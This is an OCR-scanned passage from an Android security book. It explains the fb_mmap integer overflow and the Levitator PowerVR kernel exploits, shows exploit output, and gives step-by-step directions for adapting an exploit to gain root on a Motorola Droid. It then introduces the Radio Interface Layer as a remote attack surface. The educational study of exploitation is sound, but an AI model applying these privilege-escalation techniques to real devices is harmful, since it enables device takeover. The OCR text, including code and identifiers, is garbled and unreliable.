1344 fb_mmap(struct file *file, struct vm_area_struct * vma) 

1345 { 

1356 off = vma->vm_pgoff << PAGE SHIFT; 

1369 start = info->fix.smem start; 

1370 len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_l en); 
1383 if ((vma->vm_end - vma->vm start + off) > len) 

1384 return - EINVAL; 

1391 if (io_remap_pfn_range(vma, vma->vm start, off >> PAGE SHIFT, 
1392 vma->vm end - vma->vm start, vma->vm_page_prot)) 


The v ma parameter is created from the parameters passed to the mmap system 
call before calling f b_mmap (in mmap_regi on). As such, you pretty much fully 
control its members. The off variable is directly based off of the offset value 
you supplied to mma p. However, start, assigned on line 1369 is a property of the 
frame buffer itself. On line 1370, len is initialized to the sum of a page-aligned 
value of st art and the length of the frame buffer region. On line 1383, you'll 
find the root cause of this vulnerability. The vm_end andvm_start values that 
you control are subtracted to calculate the length of the requested mapping. 
Then, of f is added and the result is checked to see if it is larger than | en. Ifa 
large value is specified for of f , the addition will overflow and the comparison 
will pass. Finally, a huge area of kernel memory will be remapped into the 
user’s virtual memory. 

The methodology Dan used to exploit this vulnerability is broken into two 
parts. First, he detects the value of | en by trying to allocate incrementally larger 
memory areas. He uses a zero offset during this phase and grows the size one 
page at a time. As soon as the map size exceeds the | en value, the f b_ mmap func- 
tion returns an error on line 1384. Dan detects this and notes the value for the 
next phase. In the second phase, Dan attempts to allocate the largest memory 
area possible while triggering the integer overflow. He starts with a conservative 
maximum and works backward. Before each attempt, he uses the previously 
detected value to calculate a value for off that will cause the integer overflow to 
occur. When the mmap call succeeds, the process will have full read-write access 
to a large area of kernel memory. 

There are many ways to leverage read-write access to kernel memory. One 
technique is overwriting kernel code directly. For example, you could change 
the set ui d system call handler function to always approve setting the user ID 
to root. Another method is to modify various bits of kernel memory to execute 
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arbitrary code in kernel-space directly. This is the approach you took when 
exploiting the sock_diag bug in the preceding section. Yet another method, 
which is the one Dan chose in Motochopper, is to seek out and modify the cur- 
rent user’s credentials structure directly. In doing so, the user and group ID 
for the current process are set to zero, giving the user root access. Being able 
to read and write kernel memory is very powerful. Other possibilities are left 
to your imagination. 


Levitator 


In November 2011, Jon Oberheide and Jon Larimer released an exploit called 
levitator.c. It was rather advanced for its time as it used two interrelated 
kernel vulnerabilities: an information disclosure and a memory corruption. 
Levitator targeted Android devices that used the PowerVR SGX 3D graphics 
chipset used by devices like the Nexus S and Motorola Droid. In this section, 
you'll walk through the process of getting Levitator working on the Motorola 
Droid. Doing so serves to explain additional techniques used when analyzing 
and exploiting Linux kernel vulnerabilities on Android devices. 


How the Exploit Works 


Because the source code for the exploit was released, you can grab a copy and 
start reading it. A large comment block at the top of the file includes the authors’ 
names, two CVE numbers and descriptions, build instructions, sample output, 
tested devices, and patch information. Following the usual includes, some 
constants and a data structure specific to communicating with PowerVR are 
defined. Next, you see the f ake_disk_ro_show function, which implements a 
typical kernel-space payload. After that, two data structures and the global 
variable fake_dev_attr_ro are defined. 


kee It’s important to read and understand source code prior to compiling and 
executing it. Failure to do so could compromise or cause irreparable harm to your 
system. 


The rest of the exploit consists of three functions: get _symbol ,do_ioctl,and 
main. Theget_symbol function looks for the specified name in/ proc/ kal | syms 
and returns the corresponding address or zero. The do_i oct! function is the 
heart of the exploit. It sets up the parameters and executes the vulnerable I/O 
control operation (i octl). 

The mai n function is the brain of the exploit; it implements the exploitation logic. 
It starts by looking up three symbols: commit_creds,prepare_kernel_cred,and 
dev_attr_ro. The first two are used by the kernel-space payload function. The 
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latter is discussed shortly. Next, the exploit opens the device that belongs to the 
vulnerable driver and executes the do_i oct! function for the first time. It passes 
the out and out _size parameters to leak kernel memory contents into the dump 
buffer. It then goes through the buffer looking for pointers to the dev_attr_ro 
object. For each occurrence, the exploit modifies it to point tof ake_dev_attr_ro, 
which in turn contains a pointer to the kernel-space payload function. It calls 
do_ioct! again, this time specifying thein andi n_size parameters to write 
the modified dump buffer back to kernel memory. Now, it scans for entries in the 
/sys/ block directory, trying to open and read from ther o entry within each. If 
the ro entry matches a modified object, the kernel executesf ake_disk_ro_show 
and the data read is “Owned.” In this case, the exploit detects success and stops 
processing more / sys/bl ock entries. Finally, the exploit restores any previously 
modified pointers and spawns a root shell for the user. 


Running the Existing Exploit 


Having read through the exploit, you know that it is safe to compile and execute 
it on the target device. Follow the provided instructions and see the following: 


$ ./levitator 

[+] looking for symbols.. 

[+] resolved symbol commit _creds to Oxc0078ef 0 

[+] resolved symbol prepare kernel cred to 0xc0078d64 
[-] dev_attr_ro symbol not found, aborting! 


Oh no! The exploit fails because it was unable to locate the dev_att r_ro symbol. 

This particular failure does not mean the device isn’t vulnerable, so open 
the exploit and comment out the last call to get _symbol (lines 181 through 
187). Instead, assign dev_attr_ro witha value you think would be unlikely to 
be found in kernel memory, such as 0xdeadbeef . After making these changes 
compile, upload, and run the modified code. The output follows. 


$ ./nodevattr 

looking for symbols.. 

resolved symbol commit_creds to 0xc0078ef0 

resolved symbol prepare_kernel cred to 0xc0078d64 
opening prvsrvkm device.. 

dumping kernel memory.. 

searching kmem for dev_attr_ro pointers... 

poisoned 0 dev_attr_ro pointers with fake _dev_attr_ro 
could not find any dev_attr_ro ptrs, aborting! 


+ ee ee oe a 


Knowing how the exploit works, you can tell that the i oct | operation was 
successful. That indicates that the information leak is functioning as expected 
and the device is certainly vulnerable. 
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Unfortunately there’s no simple fix for this failure. The exploit relies heavily 
on being able to find the address of the dev_attr_ro kernel symbol, which is 
simply not possible using / proc/kal|syms on this device. Getting the exploit 
working will require some time, creativity, and a deeper understanding of the 
underlying issues. 


Getting Source Code 


Unfortunately, the exploit and these two CVEs are the bulk of the publicly avail- 
able information on these two issues. To gain a deeper understanding, you'll 
want the source code for the target device's kernel. Interrogate the device to see 
the relevant versioning information, which appears below: 

$ getprop ro. build. fingerprint 

verizon/voles/sholes/sholes: 2.2. 3/FRK76/ 185902: user/release- keys 

$ cat /proc/version 


Linux version 2.6.32. 9-g68eeef5 (android-build@apa26. mtv.corp. google.com) (gcc 
version 4.4.0 (GCC) ) #1 PREEMPT Tue Aug 10 16:07:07 PDT 2010 


The build fingerprint for this device indicates it is running the newest firmware 
available—release F RK76. Luckily the kernel for this particular device appears 
to be built by Google itself, and includes a commit hash in its version number 
string. The particular commit hash is 68eeef 5. Unfortunately, the OMAP kernel 
hosted by Google no longer includes the branch that included this commit. 

In an attempt to expand the search, query your favorite search engine for the 
commit hash. There are quite a few results, including some that show the full 
hash for this commit. After poking around, you'll find the code on Gitorious at 
https://gitorious.org/android_kernel_omap/android_ kernel _omap/. After 
successfully cloning this repository and checking out the relevant hash, you 
can analyze the underlying vulnerabilities in the code further. 


Determining Root Cause 


After obtaining the correct source code, execute a handful of gi t grep commands 
to find the vulnerable code. Searching for the device name (/ dev/ pvrsrvkm) 
leads you to a file operations structure, which leads you to the un! ocked_i octl 
handler function called PVRSRV_BridgeDi spat chkM. After reading through, you 
can see that the vulnerable code is not directly in this function but instead the 
BridgedDispatchKM function called from it. 

Falling back to the git grep strategy, you will find Bri dgedDispatchkKM on 
line 3282 of drivers/gpu/pvr/bridged_pvr_bridge.c. The function itself is 
fairly short. The first block in the function isn’t very interesting, but the next 
block looks suspicious. The relevant code follows: 
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3282 IMG_INT BridgedDispatchKM(PVRSRV_PER PROCESS DATA * psPerProc, 


3283 PVRSRV_BRI DGE_ PACKAGE * psBridgePackageKkM) 
3284 { 
3351 psBridgeln = 
((ENV_DATA *) psSysData- >pvEnvSpecificData)->pvBridgeData; 
3352 psBridgeQut = (IMG PVOID)((1MG_PBYTE)psBridgeln + 
PVRSRV_MAX_BRI DGE_I N_ SIZE); 
3353 
3354 if(psBridgePackageKM- >ui 321 nBufferSize > 0) 
3355 { 
3363 if(CopyFromUserWrapper(psPerProc, 
3364 ui 32BridgelD, 
3365 psBridgeln, 
3366 psBridgePackageKM- >pvParamin, 
3367 psBridgePackageKM- >ui 321 nBufferSi ze) 


The ps Bri dgePackagekKM parameter corresponds to the structure that was copied 
from user-space. On lines 3351 and 3352, the author points ps Bri dgel n and ps Bri d- 
geQut tothepvBri dgeDat a member of pSys Dat a- >pvEnvSpecificationData. If 
the ui 321 nBuf f er Si ze is greater than zero, the CopyFromUser Wrapper function 
is called. This function is a simple wrapper around the Linux kernel’s standard 
copy_from_user function. The first two parameters are actually discarded and 
the call becomes 


if(copy_from_user(psBridgeln, psBridgePackageKM- >pvParaml n, 
psBridgePackageKM- >ui 321 nBufferSize)) 


At this point, ui 321 nBuf f er Si ze is still fully controlled by you. It is not validated 
against the size of the memory pointed to by ps Bri dgel n. By specifying a size 
larger than that buffer, you are able to write beyond its bounds and corrupt the 
kernel memory that follows. This is the issue that was assigned CVE-2011-1352. 

Next, the driver uses the specified bridge ID to read a function pointer from 
a dispatch table and executes it. The exploit uses bridge ID CONNECT_SERVI CES 
which corresponds to PVRSRV_BRI DGE_CONNECT_SERVI CES in the driver. The func- 
tion for this bridge ID is registered in the CommonBridgel nit function to call the 
PVRSRVConnect BW function. However, that function doesn’t do anything relevant. 
As such, you return to the Bri dgedDi spat chKM function and see what follows. 


3399 if(CopyToUserWrapper(psPerProc, 

3400 ui 32BridgelD, 

3401 psBridgePackageKM- >pvParamOut, 

3402 psBridgeQut, 

3403 psBridgePackageKM- >ui 320ut Buf ferSi ze) 


Again you see a call to another wrapper function, this time CopyToUser Wrapper. 
Like the other wrapper, the first two parameters are discarded and the call 
becomes 


361 


362 


Chapter 10 = Hacking and Attacking the Kernel 


if(copy_to_user(psBridgePackageKM- >pvParamOut, psBridgeOut, 
psBridgePackageKM- >ui 320ut Buf fer Si ze) ) 


This time the driver copies data from ps Bri dgeOut to the user-space memory 
you passed in. Again it trusts your size, passed in ui 320ut Buf f er Si ze, as the 
number of bytes to copy. Because you can specify a size larger than the memory 
pointed to by ps Bri dgeQut , you can read data from after this buffer. This is the 
issue that was assigned CVE-2011-1350. 

Based on a deeper understanding of the issues, it’s more obvious what is 
happening in the exploit. There is one detail that is still missing, though. Where 
exactly dopvBridgeln and pvBridgeOut point? To find out, search for the base 
pointer, pvBri dgeDat a. Unfortunately the venerable gi t grep strategy doesn’t 
reveal a direct assignment. However, you can see pv Bri dgeDat a getting passed by 
reference indrivers/gpu/pvr/osfunc. c. Take a closer look and see the following. 


426 PVRSRV_ERROR OSI nitEnvData(I MG PVOID *ppvEnvSpecificData) 
427 { 


437 if (OSAI | ocMem( PVRSRV_OS_PAGEABLE_HEAP, PVRSRV_MAX_BRIDGE_IN_SIZE + 


PVRSRV_MAX_BRIDGE_OUT_SIZE, 
438 &psEnvData->pvBridgeData, IMG NULL, 
439 "Bridge Data") != PVRSRV_OK) 


Looking into OSAI | oc Mem, you'll find that it will allocate memory using k ma! - 
| oc if its fourth parameter is zero or the requested size is less than or equal to 
one page (0x1000 bytes). Otherwise it will allocate memory using the kernel 
vmal | oc API. In this call, the requested size is the sum of the! N_SI ZE and OUT_SI ZE 
definitions, which are both 0x1000. This explains the adding and subtracting 
of 0x1000 in the exploit. Added together, the requested size becomes two pages 
(0x2000), which would normally use v mal | oc . However, the 0S! ni tEnvData 
function passes 0 as the fourth parameter when calling OSAI | oc Mem. Thus, two 
pages of memory are allocated using k mal | oc. 

The 0S1 ni t EnvDat a function is called very early in driver initialization, which 
happens during boot. This is unfortunate because it means the buffer’s location 
remains constant for any given boot. Exactly what other objects are adjacent to 
this kernel heap block varies based on boot timing, drivers loaded on a device, 
and potentially other factors. This is an important detail, as described in the 
next section. 


Fixing the Exploit 

With a clear understanding of all the facets of these two vulnerabilities, you can 

turn your efforts back toward getting the exploit working on the target device. 
Recall from your attempt to run the original exploit that the dev_attr_ro 

symbol does not appear in/ proc/kal|lsyms on the target device. Either this 
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type of object doesn’t exist or it is not an exported symbol. As such, you need 
to find an alternative type of object that can satisfy two conditions. First, it must 
be something that you can modify to hijack the kernel’s control flow. It helps if 
you control exactly when the hijack takes place, like the original exploit does, 
but it’s not a strict necessity. Second, it must be adjacent to the puBridgeData 
buffer as often as possible. 

To tackle this problem, aim to solve the second condition and then the first. 
Finding out exactly what is next to your buffer is fairly easy. To do so, make 
further changes to your already-modified copy of the exploit. In addition to 
commenting out the dev_attr_ro symbol resolution, write the data you leaked 
from kernel-space to a file. When that is working, repeatedly reboot the device 
and dump the adjacent memory. Repeat this process 100 times in order to get a 
decent sampling across many boots. With the data files in hand, pull the contents 
of / proc/kal|syms from the device. Then employ a small Ruby script, which is 
included with this book’s materials, to bucket symbol names by their address. 
Next, process all 100 samples of kernel memory. For each sample, split the data 
into 32-bit quantities and check to see if each value exists inside the buckets 
generated from / proc/kal|syms. If so, increase a counter for that symbol. 

The output from this process is a list of object types that are found in/ pr oc/ 
kallsyms along with the frequency (out of 100 tries) that they are adjacent to 
your buffer. The top ten entries are displayed here: 


dev: ~/levitator-droidl $ head dumps-on-fresh-boot.freq 
90 0xc003099¢ kernel thread exit 
86 0xc0069214 T do_no_restart_syscal 
78 O0xc03cabl8 fair_sched_class 
68 OxcOlbc42c klist_children_get 
68 0xc01bc368 klist_children_put 
65 OxcO3cdee0 proc_dir_inode operations 
65 OxcO3cde78 t proc_dir_operations 
62 0xc00734a4 T autoremove_wake function 
60 Oxc006f968 t worker_thread 
58 Oxc03ce008 t proc_file_inode operations 


The first couple of entries look very attractive because they are adjacent about 
90 percent of the time. However, a modest attempt at leveraging these objects 
was not fruitful. Out of the remaining entries, the items starting with proc_ 
look particularly interesting. These types of objects control how entries in the 
proc file system process various operations. This is attractive because you know 
that you can trigger such operations at will by interacting with entries under / 
proc. This solves your first condition in the ideal way and solves your second 
condition on about 65 percent of boots. 

Now that you have identified proc_dir_inode_operations objects as the 
thing to look for, you're ready to start implementing the new approach. The fact 
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that you find pointers to these objects adjacent to your buffer indicates they are 
embedded in some other type of object. Looking back at the kernel source, find 
any assignments where the referenced object is on the right hand side. This leads 
you to the code from around line 572 off s/ proc/generic.c: 


559 static int proc_register(struct proc_dir_entry * dir, 
struct proc_dir_entry * dp) 


560 { 

569 if (S_ISDIR(dp->mode)) { 

570 if (dp->proc_iops == NULL) { 

571 dp->proc_fops = &proc_dir_operations 

572 dp->proc_iops = &proc_dir_inode_ operations; 


The proc_register function is used within the kernel to create entries in 
the proc file system. When it creates directory entries it assigns a pointer to the 
proc_dir_inode_operati ons to the proc_iops member. Based on the type of the 
dp variable in this excerpt, you know the adjacent objects are proc_dir_entry 
structures! 

Now that you know the outer data type’s structure, you can modify its ele- 
ments accordingly. Copy the requisite data structures into your new exploit file 
and change undefined pointer types to void pointers. Modify the exploit to look 
for the proc_dir_inode_operations symbol (instead of dev_attr_ro). Then 
implement new trigger code that recursively scans through all directories in 
| proc. Finally, create a specially crafted i node_operations table with the get attr 
member pointing at your kernel-space payload function. When something on 
the system attempts to get the attributes of your modified proc_dir_entry,the 
kernel calls your get attr function thereby giving you root privileges. As before, 
clean up and spawn a root shell for the user. Victory! 


Summary 


This chapter covered several topics relevant to hacking and attacking the Linux 
kernel used by all Android devices. It explained how Android kernel exploi- 
tation is relatively easy because of its monolithic design, distribution model, 
configuration, and the vast exposed attack surface. 

Additionally, this chapter provided tips and tools to make the job of an Android 
kernel exploit developer easier. You walked through the process of building 
custom kernels and kernel modules, saw how to access the myriad debugging 
facilities provided by the kernel, and how to extract information from both 
devices and stock firmware images. 
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A few case studies examined the exploit development for kernel memory cor- 
ruption issues such as array indexing vulnerabilities, direct memory mapping 
issues, information leaks, and heap memory corruption. 

The next chapter discusses the telephony subsystem within Android. More 
specifically, it explains how to research, monitor, and fuzz the Radio Interface 
Layer (RIL) component. 
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Attacking the Radio 
Interface Layer 


The Radio Interface Layer, RIL in short, is the central component of the Android 
platform that handles cellular communication. The Radio Interface Layer pro- 
vides an interface to the cellular modem and works with the mobile network 
to provide mobile services. The RIL is designed to operate independent of the 
cellular modem chips. Ultimately the RIL is responsible for things such as 
voice calls, text messaging, and mobile Internet. Without the RIL, an Android 
device cannot communicate with a cellular network. The RIL is, in part, what 
makes an Android device a smartphone. Today, cellular communication is no 
longer limited to mobile phones and smartphones because tablets and eBook 
readers come with built-in, always-on mobile Internet. Mobile Internet is the 
responsibility of the RIL, and therefore, the RIL is present on most Android 
devices. 

This chapter shows you how the RIL works and how it can be analyzed and 
attacked. It methodically introduces you to the different components of RIL and 
how they work together. The attack part of this chapter focuses on the Short 
Messaging Service (SMS) and specifically how to fuzz SMS on an Android 
device. The first half of the chapter provides an overview of the Android RIL 
and introduces the SMS message format. The second half of the chapter takes 
a deep dive into instrumenting the RIL to fuzz the SMS implementation of 
Android. When you reach the end of this chapter you will be armed with the 
knowledge to carry out your own security experiments on the Android RIL. 
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Introduction to the RIL 


The Android RIL is built to abstract the actual radio interface from the Android 
telephony service subsystem. RIL is designed to handle all radio types such as 
the Global System for Mobile communication (GSM), Code Division Multiple 
Access (CDMA), 3G, and 4G Long Term Evolution (LTE). The RIL handles all 
aspects of cellular communication such as network registration, voice calls, short 
messages (SMS), and packet data (IP communication). Because of this, the RIL 
plays an important role on an Android device. 

The Android RIL is one of the few pieces of software that is directly reach- 
able from the outside world. Its attack surface is comparable to that of a service 
hosted on a server. All data sent from the cellular network to an Android device 
passes through the RIL. This is best illustrated by examining how an incoming 
SMS message is processed. 

Whenever an SMS message is sent to an Android device, that message is 
received by the phone’s cellular modem. The cellular modem decodes the physi- 
cal transmission from the cell tower. After the message is decoded, it is sent on a 
journey starting at the Linux kernel; it passes through the various components 
of the Android RIL until it reaches the SMS application. The process of SMS 
delivery inside the RIL is discussed in great detail throughout this chapter. The 
important message at this point is that the RIL provides a remotely attackable 
piece of software on an Android device. 

A successful attack against RIL provides a wide range of possibilities to 
attackers. Toll fraud is one such possibility. The RIL’s main function is to interact 
with the digital baseband, and, therefore controlling RIL means access to the 
baseband. With access to the baseband, an attacker can initiate premium rate 
calls and send premium rate SMS messages. He can commit fraud and hurt 
the victim financially and, at the same time, he can gain monetarily. Spying 
is another possibility. RIL can control other features of the baseband, such as 
configuring the auto-answer setting. This could turn the phone into a room 
bug, which is quite a serious matter in an enterprise environment. Yet another 
possibility is intercepting data that passes through the RIL. Consequently, hav- 
ing control of RIL means having access to data that is not protected (that is, not 
end-to-end encrypted). 

In summary, a successful attack against RIL provides access to sensitive 
information and the possibility of monetizing the hijacked device at the owner’s 
expense. 


RIL Architecture 


This section provides a general overview of the RIL and the Android telephony 
stack. First, though, you get a brief overview of the common architecture of 
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modern smartphones. The described architecture is found in all Android-based 
mobile devices. 


Smartphone Architecture 


To help you better understand mobile telephony stacks, this section takes a quick 
detour and looks at the design of a modern smartphone. Tablets that contain 
a cellular interface are based on the same architecture. A modern smartphone 
consists of two separate, but cooperating, systems. The first system is called the 
application processor. This subsystem consists of the main processor — most 
likely a multi-core ARM-based central processing unit (CPU). This system also 
contains the peripherals such as the display, touchscreen, storage, and audio input 
and output. The second system is the cellular baseband or cellular modem. The 
baseband handles the physical radio link between the phone and the cellular 
communication infrastructure. Basebands are mostly composed from an ARM 
CPU and a digital signal processor (DSP). The type of application processor and 
baseband is highly dependent on the actual device manufacturer and the kind 
of cellular network the device is built for (GSM versus CDMA, and so on). The 
two subsystems are connected to each other on the device’s main board. To 
reduce costs, chipset manufacturers sometimes integrate both into one single 
chip, but the systems still function independently. Figure 11-1 shows an abstract 
view of a modern smartphone. 
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Figure 11-1: General smartphone architecture 


The interface between both systems is highly dependent on the actual com- 
ponents and the device manufacturer. Commonly found interfaces are Serial 


369 


370 


Chapter 11 = Attacking the Radio Interface Layer 


Peripheral Interface (SPI), Universal Serial Bus (USB), Universal Asynchronous 
Receiver/Transmitter (UART), and shared memory. Because of this diversity, 
the RIL is designed to be very flexible. 


The Android Telephony Stack 


The telephony stack in Android is separated into four components which are 
(from top to bottom) the Phone and SMS applications, the application framework, 
the RIL daemon, and the kernel-level device drivers. The Android platform is 
partially written in Java and partially written in C/C++ and thus respected parts 
are executed in either the Dalvik virtual machine (VM) or as native machine 
code. This distinction is very interesting when it comes to finding bugs. 

In the Android telephony stack, the separation between Dalvik and native 
code is as follows. The application parts are written in Java and are thus executed 
in the Dalvik VM. The user-space parts such as the RIL daemon and libraries 
are native code. The Linux kernel, of course, is executed as native code. Figure 
11-2 depicts an overview of the Android Telephony Stack. 
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Figure 11-2: The Android telephony stack 
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The Phone Applications 


This component includes the high-level software that implements a number 
of core functionalities. It includes the Phone dialer and Messaging apps. Each 
bit of functionality is implemented in what Google calls a tracker. There is the 
call tracker, the SMS dispatcher, the service tracker, and the data tracker. The call 
tracker handles voice calls — for example, establishing and tearing down the 
call. The SMS dispatcher handles SMS and Multimedia Messaging Service (MMS) 
messages. The service tracker handles cellular connectivity (for example, is the 
device connected to a network, what’s the reception level, is it roaming). The 
data tracker is responsible for data connectivity (mobile Internet). The Phone 
applications communicate with the next layer — the Application Framework. 


The Application Framework 


The Application Framework components of the RIL serve two purposes. First, 
it provides an interface for the Phone application to communicate with the RIL 
daemon. Second, it provides abstractions for many cellular-related concepts 
that differ between network types. Developers can take advantage of these 
abstractions by using the methods in the android. tel ephony package in their 
applications. 


Native User-Space Components 


The user-space components consist of the RIL daemon and its supporting librar- 
ies. The RIL daemon is the main topic of this chapter and is discussed in more 
detail in the “The RIL Daemon” and “The Vendor RIL API” sections later in 
this chapter. 


The Kernel 


The Linux kernel hosts the lowest layer of the telephony stack. It contains the 
drivers for the baseband hardware. The drivers mostly provide an interface for 
user-land applications to talk to the baseband. This is often a serial line. This 
interface is covered in more detail later in this chapter. 


Telephony Stack Customization 


The Android telephony stack can be customized at various layers. In fact, some 
customizations are required. For example, the baseband driver has to be adapted 
to fit the specific hardware configuration. In addition to required changes, device 
manufacturers also customize parts of the telephony stack that normally do not 
need to be customized. Common customizations include a replacement phone 
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dialer and a replacement or additional SMS and MMS application. Various manu- 
facturers also seem to add functionality to the telephony-related Application 
Framework core quite frequently. Such customizations and additions are espe- 
cially interesting in terms of security because they are mostly closed source and 
may not have been audited by qualified security researchers. 


The RIL Daemon (rild) 


The most important part of the Radio Interface Layer is the RIL daemon (ri | d). 
The RIL daemon is a core system service, and runs as a native Linux process. Its 
main functionality is to provide connectivity between the Android Telephony 
Application Framework and the device-specific hardware. To accomplish this, it 
exposes an interface to the Application Framework through Binder IPC. You can 
find the source code for the open source portion of ri | d in the Android Open 
Source Project (AOSP) repository under the hardware/ril directory. 

Google specifically designed r i | d to support third-party, closed-source hard- 
ware interface code. For this purpose, ri | d provides an application programming 
interface (API) consisting of a set of function calls and callbacks. On startup, 
ri ld loads a vendor provided shared library called the vendor-ril. The vendor-ril 
implements the hardware-specific functionality. 

This daemon is one of the few services on an Android device that is managed 
byi ni t. As such,ri | d is started on system startup and is restarted if the process 
terminates unexpectedly. Unlike some other system services, an RIL daemon 
crash is unlikely to cause a partial reboot or leave the system in an unstable 
state. These facts make playing around with ri | d very convenient. 


rild on Your Device 


The RIL daemon is a little different on every device. As you get started with 
working on your own device, it helps to have an overview of its configuration. 
Following is a guide on how to get a quick overview of your ri | d environment. 
The example uses an HTC One V running Android 4.0.3 and HTC Sense 4.0. 

Below we issue a number of commands on an ADB shell to get an overview 
of the RIL environment. First, we obtain the process ID (PID) of ri | d. With the 
PID we can inspect the process using the proc file system. This provides us 
with the list of libraries that are loaded by ri | d. In next step, we inspect the 
init scripts. This provides us a list of UNIX domain sockets that are used by 
rild. In the third step, we again use the proc file system to determine which 
files are opened by ri | d. This provides us with the names of the serial devices 
that are used by ri | d. In the last step, we dump all of the RIL related Android 
system properties using the get prop utility. 

shell @android:/ # ps |grep rild 

radio 1445 1 14364 932 ffffffff 40063fb4 S /system/bin/rild 
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shell @android:/ # cat /proc/1445/ maps |grep ril 
00008000-0000a000 r-xp 00000000 b3:19 284 [system bin/rild 
0000a000-0000b000 rw-p 00002000 b3:19 284 [system bin/rild 
400a9000-400b9000 r-xp 00000000 b3:19 1056 [systemlib/libril.so 
400b9000-400bb000 rw-p 00010000 b3:19 1056 [system/lib/libril.so 
4015e000-401ed000 r-xp 00000000 b3:19 998 [system/lib/libhtc_ril.so 
401ed000-401f3000 rw-p 0008f000 b3:19 998 [system lib/libhtc_ril.so 
shell @android:/ # grep rild /init.rc 
service ril-daemon /system/bin/rild 

socke ild stream 660 root radio 

socke ild-debug stream 660 radio system 

socke ild-htc stream 660 radio system 
shell @android:/data # Is -la /proc/1445/fd |grep dev 
| TWX------ oot root 2013-01-15 12:55 13 -> /dev/smd0 
| TWX------ oot root 2013-01-15 12:55 14 -> /dev/qmi0 
| TWX- -+--+ oot root 2013-01-15 12:55 15 -> /dev/qmil 
| TWX------ oot root 2013-01-15 12:55 16 -> /dev/qmi2 
shell @android:/ $ getprop |grep ril 
gsm. version.ril-impl [HTC-RIL 4.0.0024HM (Mar 6 2012,10:40:00)] 
init.svc.ril-daemon]: [running 
ril.booted]: [1] 
ril.ecclist]: [112,911] 
ril.gsm. only.version]: [2] 
ril. modem link.status]: [0] 
ril.reload. count]: [1] 
ril.sim.swap.status]: [0] 
rild.libpath. ganlite]: [/system/lib/librilswitch. so] 
rild.libpath]: [/system/lib/libhtc_ril.so] 
rilswitch.ganlibpath]: [/system/lib/libganril.so] 
rilswitch.vendorlibpath]: [/system/lib/libhtc_ril.so] 
ro.ril.def.agps. mode]: [2] 
ro.ril.enable.a52.HTC-ITA]: [1 
ro.ril.enable.a52]: [0 
ro.ril.,enable.a53.HTC-ITA]: [1 
ro.ril.enable.a53}: [1 
ro.ril.enable.amr.wideband]: [1] 
ro.ril. enable. dtm): 
ro.ril. enable. managed.roaming]: [1] 
ro.ril.gprsclass]: [12 
ro.ril. hsdpa. category]: [10] 
ro.ril. hsupa.category]: [6] 
ro.ril. hsxpaj: [2] 


There are a number of interesting pieces of information in the preceding code, 
such as the name of the vendor-ril, which is! i bht c_ril.so.Further,ri|d further 
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exposes a number of sockets in/ dev/ socket . These sockets serve various pur- 
poses. For example, the/dev/socket/rild-debug and/dev/socket/rild-htc 
sockets facilitate debugging ri | d and/or the vendor-ril. The name of the serial 
device used to talk to the cellular baseband is the most interesting detail. For the 
HTC One V, this device is / dev/ s md0. The serial device is especially interesting 
for security since ri | d sends commands to the modem via this serial device. 
Commands include incoming and outgoing SMS messages, therefore making 
this communication link very interesting for attacks. 


Security 


The RIL daemon is one of the few pieces of software on an Android device that 
is directly reachable from the outside world. Both ri |d and the vendor-ril are 
implemented in C and C++ and are compiled to native code. These programming 
languages are not memory safe and therefore tend to be a significant source of 
security issues. The RIL daemon has to deal with a lot of inputs that it receives 
from various sources. The code in r i | d has to parse and process data and 
control information it receives from the cellular modem and from the Android 
Framework. The straightforward example is an SMS message. 

Processing an incoming SMS message traverses several different pieces of 
hardware and software, each of which an attacker can target. Whenever an SMS 
message is sent to an Android device, that message is received by the baseband. 
The baseband decodes the physical transmission and forwards the message via 
the baseband driver in the Linux kernel. The driver in the Linux kernel forwards 
it to the vendor-ril library in the RIL daemon. The RIL daemon pushes the mes- 
sage up into the Android Telephony Framework. Therefore, the RIL is a remotely 
attackable piece of software on every Android device. Attackers prefer remote 
attacks since they do not require any interaction on the part of the target user. 

When the RIL daemon starts, it is typically executed with root privileges. To 
minimize the risk, ri | d drops its privileges to the radio user shortly thereafter. 
The radio user only has access to the relevant resources required to fulfill its 
duties. Nevertheless, ri | d still has access to interesting data (such as SMS mes- 
sages) and interesting functionality (ability to send SMS messages and make 
phone calls) as stated earlier in this chapter. Further, the radio user and group 
are used to ensure the resources on the system that are only required by ri | d 
are not overly exposed. 


The Vendor-ril API 


The vendor-ril is the manufacturer and device-specific code that implements the 
functionality to interact with a specific type of cellular baseband. Because base- 
bands are still highly proprietary, the RIL subsystem was specifically designed 
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with binary-only extensions in mind. In fact, device vendors are often legally 
bound by non-disclosure agreements that prevent them from releasing source code. 
From a security standpoint, looking at vendor-rils is very interesting. Because 
they are almost exclusively binary only, it is likely that they haven't been audited 
by the general Android community. Further, the vendor-ril is one of the parts 
of an Android system that needs to be customized often. In addition, because 
stability is a big issue, the vendor-ril library might contain hidden, possibly 
unhardened debugging functionality. In sum, these facts indicate that bugs and 
vulnerabilities are more likely to exist in the code of the vendor-ril. 


RIL-to-Baseband Communication 


The vendor-ril implements the functionality that enables r i | d to interact with the 
baseband. The implementation is completely vendor and baseband dependent. 
It can either be a proprietary protocol or the standardized text-based GSM AT 
command set. If the GSM AT command set is used by a given baseband, the 
accompanying Linux kernel driver most likely provides a serial device in the 
| dev filesystem. In this case, the RIL daemon just opens the given device and 
speaks the GSM AT protocol. Although the protocol is standardized, baseband 
manufacturers will likely add custom commands to their basebands. For this 
reason, a matching vendor-ril is always needed. Furthermore, most basebands 
behave differently, even on standardized commands. In all other cases, the 
protocol is entirely up to the manufacturer. 


Kee} You can find more information about the GSM AT command set at http: / / 
ww etsi . org/ deli ver/ etsi _i _ets/ 300600_300699/ 300642/ 04_60/ 
ets_300642e04p. pdf. 


For the sake of simplicity, this chapter only covers modem communications 
based on AT commands. That said, some of the proprietary baseband protocols 
have been reverse engineered and re-implemented in open-source software. 
One example is the protocol that Samsung uses on all their devices. You can 
find information about this protocol in the Replicant projectathttp://redmi ne 
„replicant. us/projects/replicant/wiki/SamsungModems. 


Short Message Service (SMS) 


SMS is a basic service of cellular networks. Most people only know SMS as a 
way to send a text message from one phone to another phone, but SMS is much 
more then text messaging. It is used for all kinds of communication between 
cellular network infrastructure and mobile handsets. 
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SMS was standardized 20 years ago by the Global System for Mobile 
Communication Association (GSMA). SMS was not part of the original network 
design; it was added to the standard a little later. SMS uses the control channel 
that is normally used to signal incoming and outgoing calls between the cell 
tower and the mobile handset. The use of the control channel for SMS is also the 
reasons why SMS messages are limited to 140 bytes or 160 7-bit characters. Today, 
the SMS service is available on almost every kind of cellular phone network. 


Sending and Receiving SMS Messages 


